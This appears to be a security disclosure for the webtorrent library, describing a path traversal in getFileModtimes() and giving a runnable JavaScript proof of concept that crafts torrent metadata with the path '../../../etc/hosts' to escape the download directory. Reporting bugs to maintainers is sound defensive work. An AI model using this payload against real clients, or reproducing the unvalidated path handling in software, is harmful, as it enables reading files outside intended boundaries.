Security Vulnerability: Path Traversal
this bug is found by nova ,which is a automatic tools from group of Song Wu, intern ,Zhejiang University ,BoWang independent researcher ,Xingwei Lin, Zhejiang University .
Vulnerability description There is a path traversal vulnerability in webtorrent library.The library component treats file.path as a normal file name/path component without validating whether it contains malicious path traversal sequences.. And the import information about this vulnerability is as follows:
Core location: torrent.js Key code: In getFileModtimes(), the following line is used: Relevant context: file.path originates from the file list in the .torrent metadata and is therefore attacker-controlled input. Underlying issue: Dangerous input: If an attacker sets file.path to a value such as ../../../etc/hosts, the value contains ../ segments that can escape the intended download directory. Result: path.join(this.path, file.path) may resolve to a path outside the configured download root, allowing access to files outside the expected directory boundary.
POC:
import fs from 'fs'
import path from 'path'
import WebTorrent from 'webtorrent'
console.log('\n=== WebTorrent Path Traversal PoC ===\n')
const downloadRoot = '/tmp/webtorrent-safe-root'
const traversalTarget = '../../../etc/hosts'
const resolvedTarget = path.resolve(downloadRoot, traversalTarget)
const maliciousTorrentData = {
infoHash: '0123456789012345678901234567890123456789',
info: Buffer.from('path-traversal-demo'),
name: 'malicious_torrent',
announce: [],
urlList: [],
pieceLength: 16384,
lastPieceLength: 16,
pieces: [Buffer.alloc(20)],
length: 16,
files: [
{
name: 'hosts',
path: traversalTarget,
length: 16,
offset: 0
}
]
}
console.log('[*] Download root:', downloadRoot)
console.log('[*] Attacker-controlled file.path:', traversalTarget)
console.log('[*] Normalized real access path:', resolvedTarget)
if (!fs.existsSync(resolvedTarget)) {
console.error('[!] Target file does not exist; this system cannot demonstrate the PoC:', resolvedTarget)
process.exit(1)
}
const client = new WebTorrent({ dht: false, tracker: false, lsd: false })
const torrent = client.add(maliciousTorrentData, {
path: downloadRoot,
skipVerify: true
})
torrent.once('ready', () => {
console.log('\n[+] Torrent is ready, triggering `getFileModtimes()`')
torrent.files.forEach((file, index) => {
const escapedPath = path.resolve(downloadRoot, file.path)
console.log(` [${index}] file.path = ${file.path}`)
console.log(` -> path.resolve(downloadRoot, file.path) = ${escapedPath}`)
})
torrent.getFileModtimes((err, modtimes) => {
if (err) {
console.error('[!] Failed to call getFileModtimes:', err)
cleanup(1)
return
}
console.log('\n[+] getFileModtimes returned:', modtimes)
console.log('[+] This shows the program performed fs.stat on the escaped real path')
const hostStat = fs.statSync(resolvedTarget)
console.log('[+] Local direct fs.stat mtimeMs:', hostStat.mtime.getTime())
console.log('[+] PoC succeeded: attacker-controlled torrent file.path escaped the download directory')
cleanup(0)
})
})
torrent.once('error', err => {
console.error('[!] Torrent error:', err)
cleanup(1)
})
setTimeout(() => {
console.error('[!] Timeout: the PoC did not complete within the expected time')
cleanup(1)
}, 8000)
function cleanup (code) {
client.destroy(() => {
process.exit(code)
})
}
Source: webtorrent/webtorrent